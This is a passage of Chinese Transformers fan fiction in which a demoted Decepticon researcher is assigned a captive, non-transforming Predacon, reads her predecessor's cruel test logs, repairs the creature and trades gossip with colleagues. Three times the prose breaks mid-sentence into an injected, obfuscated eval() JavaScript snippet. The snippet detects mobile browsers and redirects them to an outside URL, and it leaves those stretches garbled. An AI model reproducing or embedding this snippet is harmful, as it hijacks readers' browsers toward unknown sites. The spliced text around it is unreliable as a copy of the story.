《[综英美/变形金刚]巨狰狞饲养手册》 1. 升职不加薪 照明最近很苦恼。 这种苦恼最终在她看见泽卡莱亚在门口守候时达到了顶峰。 照明本想转身就跑,但是她系统里的计时程序在提醒她,要是再不打上卡,她这个月的全勤就要泡汤了。 全勤没有奖励,反之上级则会找她麻烦。 该死的霸天虎,照明在脑海里抱怨着。她强颜欢笑地走上前去,装作不知道副所长的目的。 “早上好,泽卡莱亚长官。”很好,实验室的门自动进行身份验证,录入了“照明于8:29:58准时进入”的信息,“抱歉,您等了很久吗?黑骑士所长肯定会很高兴您如此兢兢业业。” 但提前上班到底有什么用啊?又不会给你每月的配额多增加几个能量块,只能让同事和下属被迫跟着卷生卷死,职场环境就是这样被破坏的啊! 虽然众所周知副所长是一个没有什么架子的机,是否具有情感模块存疑,但是再说下去就不礼貌了,于是照明把这些内心吐槽截留在了发声器里。 毫无疑问,霸天虎可没有绩效奖金那种东西。或许在外人看来他们确实有严明的管理条例,但是额外的奖赏——不在高层的考虑范围内,至少对于她们这种外围的研究所来说是这样。 初级研究所的工作很简单但很繁琐,多是一些机械重复的工作。运用处理器为上级分析大量实验数据,进行无聊的能量晶体实验复现,完成单调又繁重的文书工作……天下老板一般黑。 泽卡莱亚的机体纹丝不动,没有半点想要进来实验室的意思。 她平铺直叙道:“首先,等待时间是一个循环(cycle,合地球1小时15分钟);其次,若不是照明一直在躲避我,我也不用等待。最后,黑骑士不会感到意料之外的喜悦,因为我的上班时间和过去几百个循环都没有区别。” 照明嘴角抽动,选择性地回答道:“我可没有躲您啊。我只是……突然想要灵活调整自己出现在实验室的时间。这不违反规定吧?” 逃避可耻但有用啊,不然怎么又成功拖了一兆循环呢? 泽卡莱亚决定无视她的狡辩,只是拿出一块数据板,准确地将其滑到照明的面前。 照明拿起数据板,麻木地阅读文件里的安排。 然后她倒吸一口冷气,数据板在她手中咯吱作响。 “与实验体K-13进行火种融合??我以为我只是要被调岗?我错过了什么吗?” 泽卡莱亚面无表情地盯着她。看着很吓人,但照明清楚泽卡莱亚的性格,她只是单纯地感到疑惑。 “只有火种融合才能产生新的小火种。照明是研究所唯一的载体机,K-13是授体机;演算也证明火种融合可行。我看不出这个安排有什么问题。” 是没什么问题。 如果火种融合不是通常伴随着拆卸、且最终结果是结成彼此之间有密切影响的火种伴侣的话。 用那些碳基人类的话来说,她简直就像被包办婚姻的新娘——碳基的婚姻还可以解除,而赛博坦人的火种融合是与对方的全身心结合,双方机体到火种的相互影响;从来没有过火种伴侣融合后切断链接的先例。 说起来照明甚至不知道K-13实验体是什么,只知道是一个“高度机密”的“大项目”。 高度机密和大项目,这两个词和一个偏远的初级研究所简直太不适配了。 因此相关的八卦占领了所内的霸天虎电台一个月循环也是理所应当,就连照明这种被孤立坐冷板凳的机都有所耳闻。 据说好几个高层机子都快为争夺这个K-13的管理权打出彼此的脑模块来;但她最合得来的同事却偷偷和照明说,她有偷看到伊迪斯的数据板,收容管理K-13实验体的负责人一栏写的是照明的名字。 当时照明确实感到惊喜。百分之九十九的惊恐,混杂着百分之一的喜悦。 照明再次看向数据板,刷新了好几下自己的光学镜。 研究所所长黑骑士的签名还是烙印在上面,不是自己的逻辑电路突然出了问题。 突然她光学镜一亮:“长官,以K-13的保密等级,理应由高级研究员级别以上进行管理。我没有看错吧?” 泽卡莱亚把头雕一点作为回答。 “可我现在已经被贬职了。只是一个外围文员,”照明耸肩,暗暗期待着自己能从这个任务中抽身,“不好意思,但规定就是规定……” “这种情况已经被考虑到。正是因此,照明已经重新担任高级研究员的职位。” “什么?!” 现在照明连那百分之一的喜悦也消失了。她艰难地把词汇挤出发声器:“最后问一句,我真的不能拒绝吗?” 泽卡莱亚歪了歪头,似乎不理解为什么她还在问。 “你没有选择的权利。这是来自黑骑士的明确命令。一循环后到行政主管处报道。” “呃……”照明恨自己想不出任何更有创造力的脱身借口。 泽卡莱亚稍微顿了一下,应该是感受到了照明电磁场传递的复杂情绪。她认真思索了一会,像是出于某种礼貌补充,虽然像极了冷漠又尽职的公务员在陈述例行公事:“祝你们百年好合,早生贵子。” 照明的中央处理器彻底死机了一纳秒。 泽卡莱亚点头、转身,对自己鼓励提高下属士气的神来之笔满意至极。 离开前,她难得多说了一句:“服从命令。你很有用,这是你犯下严重过错之后还能得到赦免的唯一原因。” 该死的霸天虎。 —————— 照明拖着脚步,垂着头雕,在办公室前拖拖沓沓停下脚步。 办公室的门滑开了,银色的机子站在门后,翠绿色光学镜温柔地转向照明:“你来了,照明。你和往常一样很准时。” 或许只有伊迪斯能把“拖延的卡点到达”变成一句关于守时的赞扬。 她是这个研究所的行政主管兼医护总管,照明被剥夺职位后,被分配到她的手下做一些文书工作。不同于有些变形金刚对照明的冷嘲热讽或是落井下石,伊迪斯对待她的态度和之前没什么区别。 伊迪斯是一个好上司、好变形金刚,以汽车人的标准来说也算得上好。 她默契地没有太多谈论所长的安排,只是说:“跟我来。” 照明看过研究所的结构,她知道内部结构大致如一个内部中空的卵形。 然而,在抵达了她以为的最深处后,载梯仍然继续下沉;或许基地全部的结构图以她之前的等级也尚且无法得知。 伊迪斯和她通过了一道又一道身份验证,编码识别。最后她们停在门口。 这个房间和其他实验室没有什么不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205163|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之处。伊迪斯停下脚步。 她迅速点击着屏幕,“我已经把你添加到了允许直接访问人,你以后每天可以直接通过火种识别进来,这样既保密又快捷。” 照明忍不住插嘴:“不好意思,每天?那我之前的工作?” “这就是你现在最重要的工作。”伊迪斯温柔但是强硬地说:“而且也将会是你唯一的工作。直到黑骑士对你们的进展满意为止。” 照明火种一沉,甚至无力感到研究被强硬中止的愤怒。 实验室的门打开了。内部的光线似乎更加刺眼,让照明忍不住重设光学镜。 除去两个量产机警卫外,实验室里只有一个研究员。 那个变形金刚朝他们走来,趾高气扬。 “伊迪斯长官。”研究员勉强维持了一会礼貌。 在伊迪斯点头并朝实验隔离仓走去后,他用绝不算小的声音嘲讽照明,眼神中闪烁着肆无忌惮的嘲讽:“让我们瞧瞧这是谁来了?不得不说我很惊讶,在上次可悲的失败后,黑骑士所长还没有把你拆成废铁回炉重造。” 照明无动于衷。她听过更有攻击性的脏话,何况研究员的骂人方式算不上有新意。 不过现在她没有芯情忍耐。 研究员似乎不知道为什么是照明来接手他的工作。 于是她故意叹气,摆出不耐烦的样子:“或许是因为你甚至比不上一个应该被‘拆成废铁回炉重造’的机子。这就是为什么上级决定让我来替代你。” 研究员的风扇恼怒地隆隆作响。 对于像他这样的人来说,拥有K-13实验体的管理权是一种荣耀。失去管理权不仅仅是一次降职——那是一种个人的耻辱。何况是被一个他看不起的霸天虎替代。 但是他的愤怒马上转变为恶毒的轻笑:“好吧,照明,享受你的小项目吧。物以类聚,你和那个小废物肯定能相处愉快的。” 与他的预想不同,照明只是给他一个平淡的表情,然后——非常故意地——用她的光学镜扫视过他的全身。 “干吗?”研究员警惕道。 “没什么,只是想找到你的ID编码。”照明随意地回应,用手扶着头雕的前额部分,“这能让我想起你叫什么名字。” 至少在一个分循环内,一片寂静。 研究员:“……” 研究员张嘴又闭上,面甲扭曲地吐出最后一句话:“我希望你不会把这个也报废。” 他带着被噎到的怒气转身就走。量产机警卫们跟在他身后,离去的动作迅速而沉默。 照明目送他们离开,成功的嘴炮反击没有给她带来多少愉悦感。 她没有因曾经的失败被清算,反而官复原职,还被给予了重要的任务,她应该感到庆幸的。 照明深深吸气,又深深吐气。当她再次抬起头时,面甲上已经带上了自然的表情。 没人知道已经被掩埋的真相——她也不想有人知道。 不管这个调任安排有多突然、多不符合逻辑,至少有一点好处:可以满足自己作为科研人员那还没死完的一点好奇心。 K-13实验体到底是个啥? 当事实展露在她眼前,照明惊讶地都忘记了置换气体——相当于地球上的“人类屏住了呼吸”。 眼前的一切都超越了她最狂野的想象。 2. 要对接吗 K-13是一个大型机,但它却并不显得笨重。机体的线条流畅而优雅,深红与黑色的搭配让它看起来很高贵。 它的头雕上有两支尖利但不算长的角,肩甲和臂甲如同野兽的利爪,边缘锋利得仿佛能撕裂空气。 巨狰狞。 一个来自赛博坦远古时期的恐怖物种;它们的变形形态类似地球上的“龙”,是天生的战争兵器;虽然鲜有敌手,但本已灭绝。 威震天座下的首席科学家震荡波利用化石将它们克隆了出来,基于对它们强悍武力的垂涎。 可惜的是,听说巨狰狞大军还没被完全培育出来,就被汽车人们给炸得灰飞烟灭,只留下自称巨狰狞种族领袖的那位。 不要问照明为什么知道的那么详细,问就是同事太八卦,霸天虎电台太活跃。 现在还要加上照明对面的这只。 巨狰狞对照明表现出了极大的关注。它不得不扭着机体,才能让光学镜一刻不停地注视着照明;因为它的双手被磁力手铐铐在一起,吸附在隔离仓的一侧。 双手? 有什么不合常理的事情困扰着照明的中央处理器。 研究员的话语闪过她的脑模块。 “小废物”? 但是巨狰狞看起来很好。充满生命力,甚至是美丽的。 照明悄悄看了一眼伊迪斯。 银色机子正在终端查看一些数据记录。 她鼓起勇气,发声器伴随着一些犹豫的噪音问:“所以……伊迪斯长官,方便透露一些细节吗?比如我是现在就要开始大拆特拆,还是有些时间,和它培养一下,感情?” 伊迪斯的发声器发出一声被呛到的声音,面甲抽搐了一下,好像系统短暂地发生了某种故障。 她盯着照明足足一纳秒,然后她揉了揉头雕,低声嘟囔道:“火种源在上。为什么我要负责这个?” 伊迪斯呼出一口气,又看了照明一眼,目光变得柔和:“听着。你是载体机,这不意味着一定要火种融合,或者——”她停顿了一下,光学镜闪烁,“——机体物理上的连接。” 照明因为这个过于委婉的表述眨了眨光学镜。“对接?” “你知道我的意思就好。”伊迪斯叹了口气,继续说,“黑骑士只是想要一个结果。她询问了我的意见,我提出了一个更好的方法。” 照明扫视了一眼隔离仓,巨狰狞依然凝视着她。“呃,长官,你知道它在听对吧?” 伊迪斯光学镜亮了一下,似乎是对于照明注意到这点感到满意:“的确。” 她轻轻敲击了实验终端的一个控制面板,一阵柔和的嗡嗡声在舱体结构中传递。 K-13歪了歪头,安静了一些,光学镜亮度略微黯淡下来。 “现在它听不见了。不过我怀疑它是否具有智力。它从来没有和我们交流过。” 伊迪斯继续道:“刚刚说到我的建议。我向黑骑士声明了你的价值,现在她决定提取火种的片段——你的和K-13的。” “然后我们在外部融合产生新的小火种。没有火种融合,没有……机体的链接。只是一个在控制下的实验。” 新想法暂时占据了照明的逻辑回路,驱散了对未知的恐惧。她沉思道:“噢……我从来没有想过这样分裂火种。所以,基本上,赛博坦版本的试管婴儿?” “如果你这么说的话。” “太感谢你了长官,您单枪匹马阻止了赛博坦历史上最尴尬的火种融合。”照明干巴巴地笑道,“无意冒犯,不过究竟为什么要这样做?如果想要培养巨狰狞大军的话,难道克隆不会更快一些吗?” “涉及克隆古代生物方面的问题都很复杂。不过黑骑士只是想要''一个''可以变形的巨狰狞,不是克隆的产物。而你是个……嗯,方便的选择。” “可以变形的?” “你不好奇为什么看到的不是巨狰狞的野兽形态吗?” 的确;破坏大帝下令克隆巨狰狞可不是想要它们的初始形态。他们变形后的野兽形态才是最强大的兵器和军资。 啊。照明突然理解了。 K-13不能变形?不能变形的变形金刚? 伊迪斯解释道:“炸药(原来如此,照明终于想起来了研究员的名字)研究得……很勤快,实验报告每天都堆在我通讯里。但是不管采取什么措施,K-13就是无法变形。” 照明体会过无法变形的感受。 一般只有在机体受到重伤或者变形齿轮损坏的情况下,变形金刚才会无法变成自己的变形形态。 她一时语塞,只好去看K-13,对上一双发亮的金色光学镜。 伊迪斯拍了拍她的肩膀,语气里流露出一丝同情:“我知道这很困难,但是抓紧时间制定方案。我也不清楚黑骑士对这个方案的耐芯什么时候就会消失。” “……是,长官。” —————— 伊迪斯走了,留下她和K-13在空荡荡的实验室大眼瞪小眼。 事已至此,先工作吧。她叹息着走向实验终端,整理起之前的实验记录。 可以看出,前任研究员炸药是一个迫切想要得到赏识的激进分子。 K-13无法反抗,这让他彻底放开了手脚,他的实验记录里充满了试图取得成果的尝试,和让K-13不至于在他的疯狂尝试中死掉的急救。 赛博坦黄金时期早就已经过去,随着分裂家园的内战打响,科研伦理协议和医疗协议早已被绝大多数相关的机子从他们的系统中删去。 何况是对于霸天虎来说,这更加不是什么大事。不要说他们已经来到了这颗充满碳基的新行星,就算是在赛博坦,也没有哪个不长眼的执法者,会为了一个小小实验体的福祉逮捕一个霸天虎。 照明对很多情况都芯知肚明,她也见过不少比这更黑暗的事情,但是她往往选择移开光学镜,缄默不言。 哪怕现在上级异想天开,让她活体实验,要和一个未知的实验体火种融合以及携带小火种,她在崩溃后也选择了接受。 她还有想做的事,还有想见的机子。 她……只是想活着。 能活到现在并且有一份稳定的、相对轻松的工作,就已经很难得了。 或许像从前一样移开光学镜,不管K-13的状态,直接进行之后的实验会是更加明智的选择。毕竟在霸天虎的生存法则之一就是“知道的越少越安全”。 然而照明无法不让自己的注意力被其中几份实验记录吸引。 她把数据传输到自己的系统,光学镜视野因为不安而变得狭窄。 这是过去一个周循环的研究日志。 第37次测试:尝试通过减少能量供应强制变形。实验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205164|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将能量水平控制为10%。实验体在第62纳秒出现火种不稳定现象,但加入外部能量维持后继续活动。在3分循环后实验体强制关机,进入紧急休眠状态。恢复时间:有所延长。 第52次测试:增加机体电负荷的同时降低能量水平。观察到实验体的火种产生波动,机体主要线路故障,火种仓锁死。无法手动重置,故障后强制激活实验体。 第58次测试:加入外部阻隔器,模拟变形时的火种脉冲。实验体不稳定,在测试中进入麻痹状态。恢复时间:无法确定。 研究日志细致入微,用词严谨。 但这不能改变背后隐藏的优越感和残酷。 照明感到油箱一阵翻腾。不是恐惧,而是出于一种莫名奇妙的愤怒。 炸药是在尝试让K-13变形吗?不,比起尝试性的实验,这更像是一种单纯的折磨。他在寻找K-13的极限。要么适应,要么死亡。 照明愤愤地把数据板摔在台子上。她知道自己很生气,但是不知道自己究竟在气什么。 K-13看到了她的举动,在隔离仓里面扭动着,可能试图变换一个更具备防御性的姿势,但是因为束缚无法移动。 照明看向它。 毫无疑问,K-13是一个美丽的生物。 它的深红色的涂装在光照下就如同凝固的血液;盘绕在那具深红机体上的黑色花纹古朴而神秘,机体上深深的划痕和缺损只是为它平添了一份野性的美。 K-13曾被多次强制进行高负荷测试,很可能导致火种不稳定。或许……火种分离的实验没必要那么快进行? 照明沉思着,点击实验终端。 磁力手铐从巨狰狞的双手脱落,掉在地上;照明顺手取消了实验仓的隔音波。 脱离了束缚的K-13歪着头看她,神情戒备中带着好奇。 “可怜的小东西。让我看看我能做点什么。” 她环顾四周,庆幸地看到这不只具有实验仪器,还有修理泊位和尚未启用的医疗机器人。 隔离仓的密封处发出嘶嘶声,随着它打开,连接处释放出一团陈旧、消毒过的空气。 K-13没有移动。它的机体紧贴着隔离仓靠近墙壁的那端,尽可能远离照明。 这场景让照明想到警戒守护自己巢穴的涡轮狐狸。不过没有一只涡轮狐狸会那么巨大,那么凶猛。 照明不是医生,她的变形形态是一个纯粹的军品,和医护工作无关。 不过她曾抓住机会在医疗部学习过医疗技能,下载了很多相关的补丁。在这个充满暴力的组织中,一个机子永远不能说自己已经准备万全。 现在就到了医疗技能发挥作用的时候。 经过几个迅速的动作,照明在转运床上部署了固定装置。轻便但加固的束缚材料弹出,刚好足够防止K-13在突然想反抗时挣扎。 一个沉闷的咔哒声确认了锁已锁定。 那一刻,K-13的机体紧张起来,它奋力挣扎,转运床不堪重负,一下子侧翻,带着K-13一起倒在地上。 照明挑起了眉毛,背光之下的她显得格外严肃冷酷。 她把手伸向K-13…… K-13闭上了光学镜,停止了挣扎,不动了。 ……然而照明只是一抿嘴,噗嗤一乐。 “好可爱啊。” 3. 实验前的准备 偷偷摸鱼聊天时,后勤部同事也说过照明的萌点很奇怪。 照理说变形金刚往往会喜爱迷你金刚可爱的小体型,但照明恰恰相反。 她想到同事的吐槽:“能觉得威震天大人的机体可爱,你真该去找医官换一对光学镜……不对,或许是换脑模块?” 不管究竟是什么部件造就了照明喜欢凶猛的大型机这一诡异的萌点,但在看到翻倒的转运床和上面缠着的不情不愿的K-13时,照明还是觉得芯情一下子明媚起来。 当她在非智能医疗机器人的帮助下扶起转运床时,K-13睁开了光学镜,看向照明的背影,目光中带着一丝古怪。 K-13比看起来更重,这种重量来自厚实的镀层和多层加固的装甲。 照明一边低声咕哝着,一边用力推着它向医疗泊位驶去。 她确保K-13固定在医疗泊位上。束缚装置紧密无缝地到位。 不过如果K-13处于全盛时期,她仍旧可能成功逃脱。 但她不是。 照明相信K-13也知道这点,因为它没有再进行无谓的挣扎。 相反,它比刚刚乖巧多了。似乎是意识到照明没有伤害它的意图,它没有试图把医疗泊位也掀翻一次,而是合上了光学镜,不再理会照明。 照明半沉思着,在损伤没有那么严重的部位注入一剂纳米机器人,协助机体的自我修复。 损伤严重、正在流出能量液的部位需要先掀开部分扭曲的装甲,夹紧下面的能量管线路,然后再进行修补和焊接。 几个循环就这样静静地流逝着。 实验室里很安静,照明灵巧的手指翻飞着,修补K-13比她想象中还要精细的内部结构。 照明平时不注重自己机体的抛光,不像有些太过在意外表、恨不得把自己抛光成镜子的机,颇有些得过且过的味道——这是好听的说法,难听的说法就是一个字,懒。 直到现在看到K-13美丽流线的机体上留下了粗糙的焊接痕迹,照明才后悔没有深入学习一下机体美容。 她抚摸了一下焊接过后的外装甲,视线移到了K-13头顶的那两只小尖角上。 芯突然痒痒起来。好想摸摸看啊! 好奇芯机子都有,照明这种看起来对万事都毫不关心、只想一心混日子的咸鱼自然也有,甚至在遇到自己感兴趣的事物时还会超级加倍。 K-13庞大的机体蜷缩着,以一种刻意收敛的姿态调整自己,仿佛已经进入充电模式了。 忽略了处理器闪过的危险警告,照明缓缓伸出手。 她的指尖在空中停顿了一瞬,并没有直接触碰,只是悬停着,观察对方会不会躲开。 没有。 于是,她的指尖轻轻擦过K-13的角。 迎来一阵微妙的颤抖。 照明的光学镜微微闪烁了一下,眉头挑起。 ……诶? 她的手指沿着光滑的金属向上移动,动作轻巧又柔软。 K-13的装甲紧绷了一瞬,但没有后退,反而微微向她倾斜,像是在迎合这份触碰。 照明的嘴角浮现出轻松的笑意。 “乖。” K-13没有回应。 但她明显感觉到K-13的角微微发热,连带着她的头雕和面甲似乎都变得有些发亮起来。 照明继续抚摸K-13,一边放空,一边地用指尖在角的底部轻轻地挠着,就像她看到的人类对待宠物的方式一样。 这一个周期她的生活迎来了无法阻挡的巨变。从突如其来的调职到差点以为自己要被陌生机子拆,再到见到了传说中的赛博坦古生物...... 照明情真意切地、深深地、置换了一下气体。她从未想要这样的生活,无休止的战争、和同胞对抗、远超伦理的实验,或许还有更多机子不想要他们现在的生活,但是现在她们都来到了这一步。 不过K-13摸起来手感很棒,真的。极大地抚慰了照明饱受摧残的芯灵。 现在她理解人类为什么要养那些细声细气尖叫的小小长毛碳基了。 K-13的机体再次微不可察地颤抖了一下。 然后,她动了。 动作缓慢而流畅,像是一头巨大的猛兽,从容地调整姿势,在束缚允许的范围内,将自己的身躯一点点向照明的方向靠近。她的体型太大,轻微的动作就足以让照明感受到那股侵占性的压迫感。 但K-13没有扑过来。 没有低沉的咆哮,也没有恐惧的退缩;相反,她只是懒懒地低下头,把自己的额角蹭进照明的掌心,像是在索取更多的抚摸。她的磁场荡漾开来,散发着好奇、试探和一点点的依恋。 照明的光学镜眨了眨。 “原来你还挺享受的。喜欢吗?”她低声调侃道,手指顺势在K-13的头部装甲上刮了刮。 K-13仍然一言不发,只是动作愈发大胆,甚至微微眯起光学镜,胸腔内部发出了一丝低沉的震动。 忽略她巨大的机体,这出奇地像涡轮猫一样。 照明有些好笑地看着她。 然后,K-13忽然伸出爪子,缓慢而精准地扣住了她的手腕。 照明愣了一下,没有反抗。 K-13微微抬起头,低下身,一点点地把她的手指引向自己的唇部,动作优雅而漫不经心,仿佛这只是个再寻常不过的动作。 然后,她张开了嘴。 照明的火种停滞了一瞬。 她的手指被吞没在K-13的口中,一片湿热包裹住照明的金属外装甲,K-13那些锋利的齿刃轻轻地贴着她的指节,仿佛只要再微微用力,就能咬碎它。 她的逻辑电路没问题,完全知道K-13几乎不费吹灰之力就能穿透她的装甲。但她没有任何恐惧,只有一种奇异的兴奋在她中央处理器的边缘盘旋。 但下一秒—— 湿润的触感顺着指节缓缓滑过。 一阵细腻的战栗感沿着电路爬升,她的神经回路里炸出一丝细微的静电。 K ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205165|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -13的金属舌缓慢地舔舐着,动作过于悠然,过于漫长,像是蓄意为之。这既不尖锐,也不粗糙。只是......她的舌头像是在缓慢地拖拽,掠过照明指尖敏感的活性金属,沿着装甲缝隙滑到下面,轻轻地挑逗着下面复杂纠缠的电线。 微弱的电火花在指尖跳跃,照明浑身的温度都升高了,排气扇在尖叫着加大功率。 K-13缓慢地抬起头,光学镜半阖,依旧是一副沉默的野兽模样。可她的姿态……太过自满了,太过漫不经心,分明就是在炫耀某种无声的胜利。 忽然,一阵滴滴滴的急促声响打破了实验室的宁静,也消除了逐渐变得有些奇怪的氛围。 照明连忙慌里慌张地将手指抽出来,她低头,看着自己包裹着一层口腔能量液的指尖,又抬头,对上K-13那双深沉的光学镜。 一瞬间,她甚至觉得对方是在笑。 非智能医疗机器人滑动过来,不理解研究员和实验体刚刚在干什么,只是尽职地汇报刚刚扫描到的意外情况:“火种读数低于稳定值,推荐机体进入静滞状态,进行自动修复。” 照明像是刚解除充电模式那样有点恍惚,甚至赞同起非智能助手的话来:“噢,是的。你说得对。” 于是她就这样木然地掏出休眠针剂,给K-13的颈部电路来了一针。 K-13突然睁大的光学镜好像在说“不可置信”。 —————— 所以她为什么不一开始就给实验体来上一针休眠剂? 照明第十次把手有气无力地拍在面甲上。 她正在给伊迪斯写报告。这回她算是找到了好借口,而且是真实的理由。 K-13的火种受创,短期内没有办法进行分裂,照明还顺手在报告里委婉地告了炸药的黑状。 不过报告的书写进度不佳,K-13刚才的举动回放一遍遍占据照明的中央处理器进程。 K-13已经回到实验仓中,它的处理器还因为刚刚那一针麻痹着,正躺在充电床上安静地充着电。 照明又把手捂向面甲,一半是打掉自己的胡思乱想,另一半是试图给重新发烫的面甲降降温。 都怪所长火种融合的离谱命令!都怪那一句“百年好合早生贵子”!都怪K-13无法变形,外表太像一个正常的赛博坦人! 明明只是野兽正常的舔舐而已…… 但是真的是吗?K-13刚刚的举动太像是故意的挑逗了,看起来远远超过盲目的本能。 照明往程序里添加了一个日程,提醒自己要多观察K-13,然后芯累地结束报告,准备去拿几个能量块。 “下一个周期见。”她对着K-13自言自语。 当实验室的门彻底合上,非智能机器人也回到静止模式,躺在充电床上的K-13幽幽打开光学镜,清醒地完全不像刚被扎了足以麻翻大型机一个兆循环的一针。 她的面甲上展现出一个饶有兴味的笑容。 “下一个周期见,小研究员——我很期待。” 4. 八卦的艺术 载梯停在了研究所第三层。 领取能量配给的地方靠近后勤部,也算是半个公共活动场所。 这里安静但不肃穆,不像报应号上那么军纪严明。 在传送带的轻声嗡嗡中,不同部门的研究员们聚集在一起,有些聊技术,有些聊时事,有些在午餐托盘上低声交换着悄悄话,听起来好像是在八卦谁的实验又失败了。 照明到了能量补给点,在传送带上领取了自己的普通高等能量块。 她感觉周围其他机子的目光若有若无地扫过她,不过没有以前那么赤裸裸的,反而多了一些警惕和尊重。 照明努力忽视他们,挑了一个远离讨论区的座位坐下。 高级研究员或有贡献的研究员可以申请特殊合成的能量,但照明不太在意这些。 不过有的机倒是很喜欢尝试新花样。 一个托盘被放在了照明的对面。 托盘上的能量块颜色很不自然,形成某种奇怪的锈蚀的绿色,可能是后勤部物资供应组某种“特殊改进配方”的成果。 “哈喽,好久不见。恭喜升职!这次你可是被分配了一个大项目。顶级权限,保密,巴拉巴拉……搞得神秘兮兮的。” 不请自来坐在照明对面的后勤部物资供应组组长竖起机翼,大口咬了一口可疑的绿色能量块,皱起面甲:“呸。难吃。像放了一百万兆循环的废料。” 照明庆幸自己没有尝试新品。“不愧是你,风语。……那你还吃?” 风语大声笑着,说:“我就喜欢新鲜刺激的。” “这是你来找我一起补充能量的原因吗?想听听有没有新的八卦?”照明喝了一口能量块,有点无奈,“私下里聊天也就算了,你知道基地里很多机子看我不顺眼。如果你一直坐在这儿,他们可能也会对你有看法。” 风语看起来毫不在乎,甚至有点得意:“太迟了。我的名声早就定型了。而且,我就喜欢跟有趣的机子一起补充能量。” “有趣?” “我得弥补后勤部工作中缺乏激情的遗憾。你肯定不知道那些申请表格有多无聊!” 照明忍不住对这个身在福中不知福的机子翻了翻光学镜:“你肯定不知道我有多愿意和你交换工作。” “说到这,我上次看到的消息准确吗?你后来真负责K-13啦?” 风语兴致勃勃地继续念叨:“不过我想就是这样。大家都知道你抢走了K-13。炸药简直要把他的垫圈气掉了,太搞笑了,你应该看看当时他面甲上的表情!可惜你当时不在场。但是我录下来了!现在发你一份文件…… 把视频发给照明后,她又附身过来:“那么,K-13近距离看起来怎么样?像传说的那样可怕吗?它是直接从其他机子的主燃料管里喝能量液吗?咬掉所有胆敢靠近它的机子的变形齿轮吗?等等,它有嘴吗?” 照明不语,只是虚着眼看她。 “拜托?只是小小透露一点?” “可以。但那样的话,我就得向所长提交一份报告,因为你擅自调查了保密工作。” 然后风语戏剧性地叹了口气,举起手来。 “好吧,好吧。不说项目细节。但如果你愿意用模糊的话来表达你对''新搭档''的感受,我会非常、非常感兴趣。” 照明愿意满足她最合得来的同事。 她啜了一口能量块,思索道:“该怎么说呢,和我想象的完全不一样。” “哦?” “整个项目,还有实验体。” 风语的机翼激动地扑闪了几下,她撅起嘴:“不要话说一半嘛,展开细说!” 想到K-13蹭自己手心的那一幕,照明忍不住微微一笑:“它才不像你说的那样。你刚刚说的简直像是我在管一个火种吞噬者。K-13其实还挺可……咳,挺听话的。” “你的脑模块没毛病吧?!” 照明转头,看到了炸药,K-13的前任研究员。 他正站在她身后,拿着一个能量块,表情就像在说“到底是你的脑模块出问题还是我的音频接收器出了问题”。 风语不耐烦道:“现在流行偷听别人的聊天吗?你以为你是谁,DJD?” 没有理会风语,炸药双手抱在胸前,上下打量着照明:“你真的这样觉得?” 照明无所谓地回答:“至少目前为止它一直很配合。” 炸药发出尖锐的笑声,好像照明讲了个笑话。“配合?那东西刚被弄来时差点报废整个安保部。” 哇。照明试图维修K-13的时候甚至没有配备警卫。 “它简直是个恶魔。它几乎单手就压碎了一台无人机。”炸药看了风语一眼,“记得上次交给后勤部的报废清单吗,长到让你们所有人写报告的那个?没错,就是它的杰作。” 那个可怜的、遍体鳞伤的K-13? 那和她对K-13的印象完全不一样。 “后来它还毁掉了一半实验室。最后还是所长来了才制服了它。''听话'',渣的,你是幼生体吗?幻想它是一只宠物?” 照明的表情没有变化,好像她一点也没把炸药的话放在芯里,但是她的火种感受到一股寒意。 炸药哼了一声,轻蔑地一笑:“我想知道K-13为什么没把你的头拧下来。或许那个时候很快就会到了。然后我会重新得到管理K-13的权力,或许会用你被吃剩下的部分当个实验室里的装饰。” 说完,他拿着自己的配给,大摇大摆走了。 风语看着他的背影:“真是个炉渣。但他说的K-13听起来确实像火种吞噬者了。” 见照明表情有点不对,风语连忙安慰性地拍拍她的肩膀,续道:“别理他,他只是想吓唬你。他快嫉妒死了。连实验体都看不惯他。没有机看得惯他。” “他说的是真的吗?那个后勤部的报废清单。” 风语不情愿地承认了:“那是一批很大的一次性的武装损耗。当时我有点好奇,尝试查询了一下,但是系统提示我权限不足。” 当然。K-13理应很危险,毕竟它的设计用途原本就是个战争兵器。 照明点了点头,语气故作轻松:“不管怎么样,它现在是我的问题了。要是它真想拆…杀了我,大概也不会拐弯抹角。” 虽然这样说着,但疑惑还是在照明的处理器里盘旋:K-13为什么表现得那么乖巧温顺? 在短暂的沉默之后,风语最终将话题转向她最喜欢的日常八卦——谁被重新分配了工作,哪个部门又意外地在实验室里引 